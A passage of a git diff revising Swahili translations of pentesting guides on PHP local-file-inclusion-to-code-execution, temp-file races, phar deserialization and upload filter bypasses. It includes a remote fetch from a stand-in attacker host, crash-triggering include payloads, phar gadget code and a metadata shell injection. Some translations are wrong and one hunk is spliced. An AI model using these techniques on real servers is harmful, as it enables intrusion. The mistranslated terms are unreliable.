**ishindwe** kutekeleza PHP, unaweza kisha **kufanya brute force majina ya faili kwa masaa** ili kupata faili ya muda: +Ikiwa unaweza kutumia LFI ili **kupakia faili za muda** na kufanya server **kushindwa** katika utekelezaji wa PHP, unaweza kisha **kufanya brute force majina ya faili kwa masaa** ili kupata faili ya muda: {{#ref}} lfi2rce-via-eternal-waiting.md diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md b/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md index 055d81b16..18c87a348 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md @@ -4,13 +4,13 @@ ### `compress.zlib://` na `PHP_STREAM_PREFER_STDIO` -Fail iliyofunguliwa kwa kutumia itifaki `compress.zlib://` na bendera `PHP_STREAM_PREFER_STDIO` inaweza kuendelea kuandika data inayofika kwenye muunganisho baadaye kwenye faili hiyo hiyo. +Fail iliyofunguliwa kwa kutumia itifaki `compress.zlib://` na bendera `PHP_STREAM_PREFER_STDIO` inaweza kuendelea kuandika data zinazofika kwenye muunganisho baadaye kwenye faili hiyo hiyo. Hii inamaanisha kwamba wito kama: ```php file_get_contents("compress.zlib://http://attacker.com/file") ``` -Nitatumia ombi likiomba http://attacker.com/file, kisha seva inaweza kujibu ombi hilo kwa jibu halali la HTTP, kuweka muunganisho wazi, na kutuma data za ziada baadaye ambazo pia zitaandikwa kwenye faili. +Itatuma ombi ikiiomba http://attacker.com/file, kisha seva inaweza kujibu ombi hilo kwa jibu halali la HTTP, kuendelea na muunganisho, na kutuma data za ziada baadaye ambazo pia zitaandikwa kwenye faili. Unaweza kuona habari hiyo katika sehemu hii ya msimbo wa php-src katika main/streams/cast.c: ```c @@ -22,18 +22,18 @@ if (flags & PHP_STREAM_PREFER_STDIO) { *newstream = php_stream_temp_new(); } ``` -### Hali ya Mashindano kwa RCE +### Hali ya Mbio kwa RCE [**CTF hii**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) ilitatuliwa kwa kutumia hila ya awali. -Mshambuliaji atafanya **server ya mwathirika ifungue muunganisho ikisoma faili kutoka kwa server ya mshambuliaji** kwa kutumia **`compress.zlib`** protokali. +Mshambuliaji atafanya **server ya mwathirika ifungue muunganisho ikisoma faili kutoka kwa server ya mshambuliaji** kwa kutumia **`compress.zlib`** itifaki. **Wakati** muunganisho huu **upo**, mshambuliaji atafanya **kuondoa njia** ya faili ya muda iliyoundwa (imevuja na server). **Wakati** muunganisho **bado uko wazi**, mshambuliaji atafanya **kudhulumu LFI akipakia faili ya muda** anayoitawala. -Hata hivyo, kuna ukaguzi katika server ya wavuti ambao **unazuia kupakia faili zinazokuwa na `/apache2/php.ini`): ``` @@ -18,11 +18,11 @@ Pia, **idadi ya majina ya faili yanayoweza kuwa ni 62\*62\*62\*62\*62\*62 = 5680 ### Mbinu nyingine Mbinu nyingine zinategemea kushambulia protokali za PHP (hutoweza ikiwa unadhibiti sehemu ya mwisho ya njia), kufichua njia ya faili, kutumia faili zinazotarajiwa, au **kufanya PHP ipate makosa ya segmentation ili faili za muda zilizopakiwa zisifutwe**.\ -Mbinu hii ni **sawa sana na ile ya mwisho lakini bila kuhitaji kupata siku sifuri**. +Mbinu hii ni **sawa sana na ya mwisho lakini bila kuhitaji kupata siku sifuri**. ### Mbinu ya kusubiri milele -Katika mbinu hii **tunahitaji tu kudhibiti njia ya jamaa**. Ikiwa tutafanikiwa kupakia faili na kufanya **LFI isimalizike kamwe**, tutakuwa na "wakati wa kutosha" ili **kujaribu nguvu faili zilizopakiwa** na **kupata** yoyote kati ya zile zilizopakiwa. +Katika mbinu hii **tunahitaji tu kudhibiti njia ya jamaa**. Ikiwa tutafanikiwa kupakia faili na kufanya **LFI isikome kamwe**, tutakuwa na "wakati wa kutosha" ili **kujaribu nguvu faili zilizopakiwa** na **kupata** yoyote kati ya zile zilizopakiwa. **Faida za mbinu hii**: @@ -34,14 +34,14 @@ Katika mbinu hii **tunahitaji tu kudhibiti njia ya jamaa**. Ikiwa tutafanikiwa k **Matatizo makuu** ya mbinu hii ni: - Inahitaji faili maalum kuwapo (huenda kuna zaidi) -- **Kiasi cha ajabu** cha majina ya faili yanayoweza kuwa: **56800235584** -- Ikiwa seva **haiitumii nambari** jumla ya uwezo ni: **19770609664** +- **Kiasi cha ajabu** cha majina ya faili yanayoweza: **56800235584** +- Ikiwa seva **haitumii nambari** jumla ya uwezo ni: **19770609664** - Kwa kawaida **faili 20 tu** zinaweza kupakiwa katika **ombio moja**. - **idadi ya juu ya wafanyakazi wa sambamba** wa seva inayotumika. - Kizuizi hiki pamoja na vya awali kinaweza kufanya shambulio hili kudumu kwa muda mrefu - **Muda wa kupita kwa ombi la PHP**. Kwa kawaida hii inapaswa kuwa milele au inapaswa kuua mchakato wa PHP bila kufuta faili za muda zilizopakiwa, ikiwa sivyo, hii pia itakuwa shida -Basi, unaweza **aje kufanya kujumuisha kwa PHP kutomalizika kamwe**? Kwa kujumlisha tu faili **`/sys/kernel/security/apparmor/revision`** (**haipatikani katika kontena za Docker** kwa bahati mbaya...). +Basi, unaweza **aje kufanya kujumuisha PHP kusiishe kamwe**? Kwa kujumlisha tu faili **`/sys/kernel/security/apparmor/revision`** (**haipatikani katika kontena za Docker** kwa bahati mbaya...). Jaribu kwa kuitwa: ```bash @@ -72,7 +72,7 @@ Ikiwa seva ya Apache imeboreshwa na tunaweza kutumia **michango 4000** (katika n Ikiwa badala ya kutumia moduli ya kawaida ya php kwa apache kuendesha skripti za PHP **ukurasa wa wavuti unatumia** **PHP-FMP** (hii inaboresha ufanisi wa ukurasa wa wavuti, hivyo ni kawaida kuikuta), kuna kitu kingine kinachoweza kufanywa kuboresha mbinu hiyo. PHP-FMP inaruhusu **kuunda** **parameta** **`request_terminate_timeout`** katika **`/etc/php//fpm/pool.d/www.conf`**.\ -Parameta hii inaonyesha kiwango cha juu cha sekunde **wakati** **maombi kwa PHP yanapaswa kumalizika** (isiyo na kikomo kwa kawaida, lakini **30s ikiwa parameta imeondolewa maoni**). Wakati ombi linaposhughulikiwa na PHP kwa idadi iliyotajwa ya sekunde, inauawa. Hii inamaanisha, kwamba ikiwa ombi lilikuwa likipakia faili za muda, kwa sababu **usindikaji wa php ulisimamishwa**, hizo **faili hazitafutwa**. Kwa hivyo, ikiwa unaweza kufanya ombi kudumu wakati huo, unaweza **kuunda maelfu ya faili za muda** ambazo hazitafutwa, ambayo itachochea **mchakato wa kuzitafuta** na kupunguza uwezekano wa DoS kwa jukwaa kwa kutumia michango yote. +Parameta hii inaonyesha kiwango cha juu cha sekunde **wakati** **maombi kwa PHP yanapaswa kumalizika** (isiyo na kikomo kwa kawaida, lakini **30s ikiwa parameta imeondolewa maoni**). Wakati ombi linaposhughulikiwa na PHP kwa idadi iliyotajwa ya sekunde, inakatishwa. Hii inamaanisha, kwamba ikiwa ombi lilikuwa likipakia faili za muda, kwa sababu **usindikaji wa php umesitishwa**, hizo **faili hazitafutwa**. Kwa hivyo, ikiwa unaweza kufanya ombi kudumu muda huo, unaweza **kuunda maelfu ya faili za muda** ambazo hazitafutwa, ambayo itachochea **mchakato wa kuzipata** na kupunguza uwezekano wa DoS kwa jukwaa kwa kutumia michango yote. Hivyo, ili **kuepuka DoS** hebu tuone kwamba **mshambuliaji atatumia michango 100 tu** kwa wakati mmoja na muda wa usindikaji wa php kwa **php-fmp** (`request_terminate_timeout`**)** ni **30s**. Kwa hivyo, idadi ya **faili za muda** zinazoweza kuzalishwa **kwa sekunde** ni `100*20/30 = 66.67`. @@ -83,12 +83,12 @@ Kisha, mshambuliaji angeweza kutumia hizo **michango 100** kufanya **tafuta brut - 56800235584 / 10000 / 300 / 3600 \~= **masaa 5.25** (50% nafasi katika masaa 2.63) - (ikiwa na faili 100000) 56800235584 / 100000 / 300 / 3600 \~= **masaa 0.525** (50% nafasi katika masaa 0.263) -Ndio, inawezekana kuunda faili 100000 za muda katika mfano wa EC2 wa ukubwa wa kati: +Ndio, inawezekana kuunda faili 100000 za muda katika mfano wa ukubwa wa kati wa EC2:
> [!WARNING] -> Kumbuka kwamba ili kuanzisha muda wa kukatiza itakuwa **ya kutosha kujumuisha ukurasa wa LFI ulio hatarini**, ili uingie katika mzunguko wa kujumuisha wa milele. +> Kumbuka kwamba ili kuanzisha muda wa kukatisha itakuwa **ya kutosha kujumuisha ukurasa wa LFI ulio hatarini**, ili uingie katika mzunguko wa kujumuisha wa milele. ## Nginx diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md b/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md index e692a5f6d..813f22e17 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Mipangilio yenye udhaifu +## Mipangilio yenye hatari [**Mfano kutoka https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 2aa24cbd7..f376edda0 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -6,7 +6,7 @@ Hii [**andika**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaelezea kwamba unaweza kutumia **filters za php kuunda maudhui yasiyo na mipaka** kama matokeo. Ambayo kimsingi inamaanisha kwamba unaweza **kuunda msimbo wa php usio na mipaka** kwa ajili ya kuingiza **bila kuhitaji kuandika** kwenye faili. -Kimsingi lengo la script ni **kuunda Base64** string mwanzoni mwa faili ambayo itakuwa **hatimaye inatambuliwa** ikitoa payload inayotakiwa ambayo itakuwa **inafasiriwa na `include`**. +Kimsingi lengo la script ni **kuunda Base64** string mwanzoni mwa faili ambayo itakuwa **hatimaye inatambuliwa** ikitoa payload inayotakiwa ambayo itakuwa **inatafsiriwa na `include`**. Misingi ya kufanya hivi ni: @@ -16,13 +16,13 @@ Misingi ya kufanya hivi ni: Mzunguko wa kuunda maudhui yasiyo na mipaka ni: 1. weka `\x1b$)C` kabla ya string yetu kama ilivyoelezwa hapo juu -2. tumia mchaini ya mabadiliko ya iconv ambayo inacha base64 yetu ya awali kuwa intact na inabadilisha sehemu tuliyoongeza kwa string ambapo wahusika halali wa base64 ni sehemu inayofuata ya msimbo wetu wa php ulio na base64 +2. tumia mnyororo wa mabadiliko ya iconv ambayo inacha base64 yetu ya awali kuwa intact na kubadilisha sehemu tuliyoongeza kwa string ambapo wahusika halali wa base64 ni sehemu inayofuata ya msimbo wetu wa php ulio na base64 3. base64-decode na base64-encode string ambayo itatoa takataka yoyote katikati 4. Rudi kwenye 1 ikiwa base64 tunayotaka kuunda haijakamilika bado 5. base64-decode ili kupata msimbo wetu wa php > [!WARNING] -> **Inajumuisha** kawaida hufanya mambo kama **kuongeza ".php" mwishoni** mwa faili, ambayo inaweza kuwa ngumu katika matumizi ya hii kwa sababu unahitaji kupata faili .php yenye maudhui ambayo hayaua exploit... au unaweza **tu kutumia `php://temp` kama rasilimali** kwa sababu inaweza **kuwa na chochote kilichoongezwa kwenye jina** (kama "+.php") na bado itaruhusu exploit ifanye kazi! +> **Inajumuisha** kawaida hufanya mambo kama **kuongeza ".php" mwishoni** mwa faili, ambayo inaweza kuwa ngumu katika unyakuzi huu kwa sababu unahitaji kupata faili .php yenye maudhui ambayo hayaua unyakuzi... au unaweza **tu kutumia `php://temp` kama rasilimali** kwa sababu inaweza **kuwa na chochote kilichoongezwa kwenye jina** (kama "+.php") na bado itaruhusu unyakuzi ufanye kazi! ## Jinsi ya kuongeza pia viambatisho kwa data inayotokana diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md index 15a82e4a0..8ecd47098 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md @@ -22,13 +22,13 @@ Kisha, ikiwa umepata udhaifu wa LFI katika seva ya wavuti unaweza kujaribu kukis Katika **Windows** faili kawaida huhifadhiwa katika **C:\Windows\temp\php** -Katika **linux** jina la faili lilikuwa **random** na lilikuwa katika **/tmp**. Kwa kuwa jina ni random, inahitajika **kutoa kutoka mahali fulani jina la faili ya muda** na kuifikia kabla haijafutwa. Hii inaweza kufanywa kwa kusoma thamani ya **variable $\_FILES** ndani ya maudhui ya kazi "**phpconfig()**". +Katika **linux** jina la faili hutumika kuwa **random** na iko katika **/tmp**. Kwa kuwa jina ni random, inahitajika **kuchota kutoka mahali fulani jina la faili ya muda** na kuifikia kabla haijafutwa. Hii inaweza kufanywa kwa kusoma thamani ya **variable $\_FILES** ndani ya maudhui ya kazi "**phpconfig()**". **phpinfo()** -**PHP** inatumia buffer ya **4096B** na wakati inakuwa **kamili**, inatumwa **kwa mteja**. Kisha mteja anaweza **kutuma** **ombii mengi makubwa** (akitumia vichwa vikubwa) **kupakia php** reverse **shell**, subiri **sehemu ya kwanza ya phpinfo() irudishwe** (ambapo jina la faili ya muda liko) na kujaribu **kufikia faili ya muda** kabla seva ya php haijafuta faili hiyo kwa kufanya exploit ya udhaifu wa LFI. +**PHP** hutumia buffer ya **4096B** na wakati inakuwa **kamili**, inatumwa **kwa mteja**. Kisha mteja anaweza **kutuma** **ombii mengi makubwa** (akitumia vichwa vikubwa) **kupakia php** reverse **shell**, subiri **sehemu ya kwanza ya phpinfo() irejeshwe** (ambapo jina la faili ya muda liko) na kujaribu **kufikia faili ya muda** kabla seva ya php haijafuta faili hiyo kwa kufanya exploit ya udhaifu wa LFI. -**Python script ya kujaribu kubruteforce jina (ikiwa urefu = 6)** +**Python script ya kujaribu kubruuteforce jina (ikiwa urefu = 6)** ```python import itertools import requests diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md b/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md index bd2ad765e..37abf60e6 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md @@ -10,9 +10,9 @@ include("php://filter/string.strip_tags/resource=/etc/passwd"); // PHP 7.2 include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"); ``` -Unapaswa kujua kwamba ikiwa unatumia **POST** ombi **linalo** **jumuisha** **faili**, PHP itaunda **faili ya muda katika `/tmp/php`** yenye maudhui ya faili hiyo. Faili hii itakuwa **imefutwa kiotomatiki** mara tu ombi litakaposhughulikiwa. +Unapaswa kujua kwamba ikiwa unafanya **POST** ombi **linalo** **jumuisha** **faili**, PHP itaunda **faili ya muda katika `/tmp/php`** yenye maudhui ya faili hiyo. Faili hii itafutwa **kiotomatiki** mara tu ombi litakaposhughulikiwa. -Ikiwa unapata **LFI** na unafanikiwa **kuanzisha** kosa la segmentation katika PHP, **faili ya muda haitafutwa kamwe**. Hivyo, unaweza **kutafuta** faili hiyo kwa kutumia **LFI** udhaifu hadi upate na utekeleze msimbo usio na mipaka. +Ikiwa unapata **LFI** na unafanikiwa **kuanzisha** kosa la segmentation katika PHP, **faili ya muda haitafutwa kamwe**. Hivyo, unaweza **kutafuta** faili hiyo kwa kutumia udhaifu wa **LFI** hadi uipate na utekeleze msimbo usio na mipaka. Unaweza kutumia picha ya docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) kwa ajili ya majaribio. ```python diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md index ac3552d74..ebdf9eb7a 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md @@ -4,12 +4,12 @@ ## **Upakiaji wa Faili za PHP** -Wakati injini ya **PHP** inapokea **ombio la POST** lililo na faili zilizopangwa kulingana na RFC 1867, inaunda faili za muda kuhifadhi data iliyopakiwa. Faili hizi ni muhimu kwa usimamizi wa upakiaji wa faili katika skripti za PHP. Kazi ya `move_uploaded_file` lazima itumike kuhamasisha faili hizi za muda kwenye eneo lililotakiwa ikiwa uhifadhi wa kudumu zaidi ya utekelezaji wa skripti unahitajika. Baada ya utekelezaji, PHP kwa otomatiki inafuta faili zozote za muda zilizobaki. +Wakati injini ya **PHP** inapokea **POST request** inayojumuisha faili zilizopangwa kulingana na RFC 1867, inaunda faili za muda kuhifadhi data iliyopakiwa. Faili hizi ni muhimu kwa usimamizi wa upakiaji wa faili katika skripti za PHP. Kazi ya `move_uploaded_file` lazima itumike kuhamasisha faili hizi za muda kwenye eneo lililotakiwa ikiwa uhifadhi wa kudumu zaidi ya utekelezaji wa skripti unahitajika. Baada ya utekelezaji, PHP kwa otomatiki inafuta faili zozote za muda zilizobaki. > [!NOTE] > **Tahadhari ya Usalama: Washambuliaji, wakijua eneo la faili za muda, wanaweza kutumia udhaifu wa Local File Inclusion ili kutekeleza msimbo kwa kufikia faili wakati wa upakiaji.** -Changamoto ya ufikiaji usioidhinishwa inapatikana katika kutabiri jina la faili la muda, ambalo limekusudiwa kubadilishwa. +Changamoto ya kupata ufikiaji usioidhinishwa inapatikana katika kutabiri jina la faili la muda, ambalo limekusudiwa kubadilishwa. #### Utekelezaji kwenye Mifumo ya Windows @@ -17,7 +17,7 @@ Katika Windows, PHP inaunda majina ya faili za muda kwa kutumia kazi ya `GetTemp - Njia ya kawaida ni kawaida `C:\Windows\Temp`. - Kichwa ni kawaida "php". -- `` inawakilisha thamani ya kipekee ya hexadecimal. Kwa umuhimu, kutokana na kikomo cha kazi, ni sehemu ya chini ya bits 16 pekee zinazotumika, kuruhusu majina 65,535 ya kipekee kwa njia na kichwa kisichobadilika, na kufanya nguvu za kikatili kuwa rahisi. +- `` inawakilisha thamani ya kipekee ya hexadecimal. Kwa umuhimu, kutokana na kikomo cha kazi, ni sehemu ya chini ya bits 16 pekee zinazotumika, na kuruhusu majina 65,535 ya kipekee kwa njia na kichwa kisichobadilika, na kufanya nguvu ya kikatili iwezekane. Zaidi ya hayo, mchakato wa utekelezaji unarahisishwa kwenye mifumo ya Windows. Upekee katika kazi ya `FindFirstFile` inaruhusu matumizi ya wildcards katika njia za Local File Inclusion (LFI). Hii inaruhusu kuunda njia ya kujumuisha kama ifuatavyo ili kutafuta faili ya muda: ``` diff --git a/src/pentesting-web/file-inclusion/phar-deserialization.md b/src/pentesting-web/file-inclusion/phar-deserialization.md index 69347281d..1df8e3c02 100644 --- a/src/pentesting-web/file-inclusion/phar-deserialization.md +++ b/src/pentesting-web/file-inclusion/phar-deserialization.md @@ -4,11 +4,11 @@ -**Phar** files (PHP Archive) files **zina metadata katika muundo wa serialized**, hivyo, wakati zinapochambuliwa, hii **metadata** inakuwa **deserialized** na unaweza kujaribu kutumia udhaifu wa **deserialization** ndani ya **PHP** code. +**Phar** files (PHP Archive) files **zina meta data katika muundo wa serialized**, hivyo, wakati zinapochambuliwa, hii **metadata** inakuwa **deserialized** na unaweza kujaribu kutumia udhaifu wa **deserialization** ndani ya **PHP** code. Jambo bora kuhusu sifa hii ni kwamba hii deserialization itatokea hata kwa kutumia kazi za PHP ambazo hazifanyi eval PHP code kama **file_get_contents(), fopen(), file() au file_exists(), md5_file(), filemtime() au filesize()**. -Hivyo, fikiria hali ambapo unaweza kufanya PHP web ipate ukubwa wa faili isiyo na mpangilio kwa kutumia **`phar://`** protokali, na ndani ya code unapata **class** inayofanana na ifuatayo: +Hivyo, fikiria hali ambapo unaweza kufanya PHP web ipate ukubwa wa faili isiyo na mipaka kwa kutumia **`phar://`** protokali, na ndani ya code unapata **class** inayofanana na ifuatayo: ```php:vunl.php data); filesize("phar://test.phar"); #The attacker can control this path ``` -Unaweza kuunda faili la **phar** ambalo linapoload litafanya **kudhulumu darasa hili ili kutekeleza amri zisizo na mpangilio** kwa kitu kama: +Unaweza kuunda faili ya **phar** ambayo inapoload itatumia darasa hili kutekeleza amri zisizo na mpangilio** kwa kitu kama: ```php:create_phar.php setMetadata($object); $phar->stopBuffering(); ``` -Kumbuka jinsi **magic bytes za JPG** (`\xff\xd8\xff`) zinavyoongezwa mwanzoni mwa faili ya phar ili **kuepuka** **uwezekano** wa **kupakia** **vikwazo**.\ -**Tengeneza** faili ya `test.phar` kwa: +Kumbuka jinsi **bajeti za kichawi za JPG** (`\xff\xd8\xff`) zinavyoongezwa mwanzoni mwa faili la phar ili **kuepuka** **uwezekano** wa **mipaka** ya **upakiaji** wa faili.\ +**Tengeneza** faili la `test.phar` kwa: ```bash php --define phar.readonly=0 create_phar.php ``` diff --git a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md index ac6df7d95..73994decb 100644 --- a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md +++ b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md @@ -29,7 +29,7 @@ Katika [**CTF ya asili**](https://blog.orange.tw/2018/10/) ambapo mbinu hii imej Kwa sababu ya mipangilio ya default ya `session.upload_progress.prefix`, faili yetu ya **SESSION itaanza na kiambishi kisichofurahisha** `upload_progress_` Kama: `upload_progress_controlledcontentbyattacker` -Hila ya **kuondoa kiambishi cha mwanzo** ilikuwa **base64encode payload mara 3** na kisha kuifungua kupitia vichujio `convert.base64-decode`, hii ni kwa sababu wakati wa **base64 decoding PHP itafuta wahusika wa ajabu**, hivyo baada ya mara 3 **tu** **payload** **iliyotumwa** na mshambuliaji itabaki **(na kisha mshambuliaji anaweza kudhibiti sehemu ya mwanzo)**. +Hila ya **kuondoa kiambishi cha mwanzo** ilikuwa ni **base64encode payload mara 3** na kisha kuifungua kupitia vichujio `convert.base64-decode`, hii ni kwa sababu wakati wa **base64 decoding PHP itafuta wahusika wa ajabu**, hivyo baada ya mara 3 **tu** **payload** **iliyotumwa** na mshambuliaji itabaki **(na kisha mshambuliaji anaweza kudhibiti sehemu ya mwanzo)**. Taarifa zaidi katika andiko la asili [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) na exploit ya mwisho [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\ Andiko lingine katika [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 597213027..c43fd1313 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -44,9 +44,9 @@ Mifumo mingine ya ziada inayofaa: 5. Ongeza **tabaka lingine la mifumo** kwa ukaguzi wa awali: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Jaribu kuweka **exec extension kabla ya mfumo halali** na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia ku exploit usanidi mbaya wa Apache ambapo chochote chenye mfumo** _**.php**_**, lakini** si lazima kumalizika na .php\*\* kitatekeleza msimbo): +6. Jaribu kuweka **exec extension kabla ya mfumo halali** na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia ku exploit usanidi mbaya wa Apache ambapo chochote chenye mfumo **.php** lakini si lazima kumalizika kwa .php** kitaendesha msimbo): - _ex: file.php.png_ -7. Kutumia **NTFS alternate data stream (ADS)** katika **Windows**. Katika kesi hii, herufi ya koloni “:” itaingizwa baada ya mfumo uliozuiliwa na kabla ya mmoja unaoruhusiwa. Kama matokeo, **faili tupu yenye mfumo uliozuiliwa** itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama kutumia jina lake fupi. Mwelekeo wa “**::$data**” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya nukta baada ya mwelekeo huu pia kunaweza kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”) +7. Kutumia **NTFS alternate data stream (ADS)** katika **Windows**. Katika kesi hii, herufi ya koloni “:” itaingizwa baada ya mfumo uliozuiliwa na kabla ya mmoja unaoruhusiwa. Kama matokeo, **faili tupu yenye mfumo uliozuiliwa** itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama kutumia jina lake fupi. Mwelekeo “**::$data**” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya nukta baada ya mwelekeo huu pia inaweza kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”) 8. Jaribu kuvunja mipaka ya jina la faili. Mfumo halali unakatwa. Na PHP mbaya inabaki. AAA<--SNIP-->AAA.php ``` @@ -63,43 +63,43 @@ AAA<--SNIP 232 A-->AAA.php.png ### Bypass Content-Type, Magic Number, Compression & Resizing - Pita **Content-Type** ukaguzi kwa kuweka **thamani** ya **Content-Type** **header** kuwa: _image/png_ , _text/plain , application/octet-stream_ -1. Orodha ya **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +1. Orodha ya maneno ya Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) - Pita **magic number** ukaguzi kwa kuongeza mwanzoni mwa faili **bytes za picha halisi** (changanya amri ya _file_). Au ingiza shell ndani ya **metadata**:\ `exiftool -Comment="' >> img.png` -- Ikiwa **kucompress** kunaongezwa kwenye picha yako, kwa mfano kwa kutumia maktaba za kawaida za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **PLTE chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu baada ya kucompress. +- Ikiwa **kuhifadhiwa kunatumika kwa picha yako**, kwa mfano kwa kutumia maktaba za kawaida za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **PLTE chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya kuhifadhiwa. - [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Tovuti inaweza pia kuwa **ikiweka** **picha**, kwa kutumia kwa mfano kazi za PHP-GD `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **IDAT chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu baada ya kucompress. +- Tovuti inaweza pia kuwa **ikiweka** **picha**, kwa kutumia kwa mfano kazi za PHP-GD `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **IDAT chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya kuhifadhiwa. - [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Mbinu nyingine ya kutengeneza payload ambayo **inadumu baada ya kupunguza picha**, kwa kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **tEXt chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu baada ya kucompress. +- Mbinu nyingine ya kutengeneza payload ambayo **inadumu baada ya kupunguza picha**, kwa kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **tEXt chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya kuhifadhiwa. - [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### Other Tricks to check - Tafuta udhaifu wa **kubadilisha** jina la faili iliyopakiwa tayari (kubadilisha mfumo). -- Tafuta udhaifu wa **Local File Inclusion** kutekeleza backdoor. +- Tafuta udhaifu wa **Local File Inclusion** ili kutekeleza backdoor. - **Ufunuo wa Taarifa unaowezekana**: 1. Pakia **mara kadhaa** (na kwa **wakati mmoja**) faili 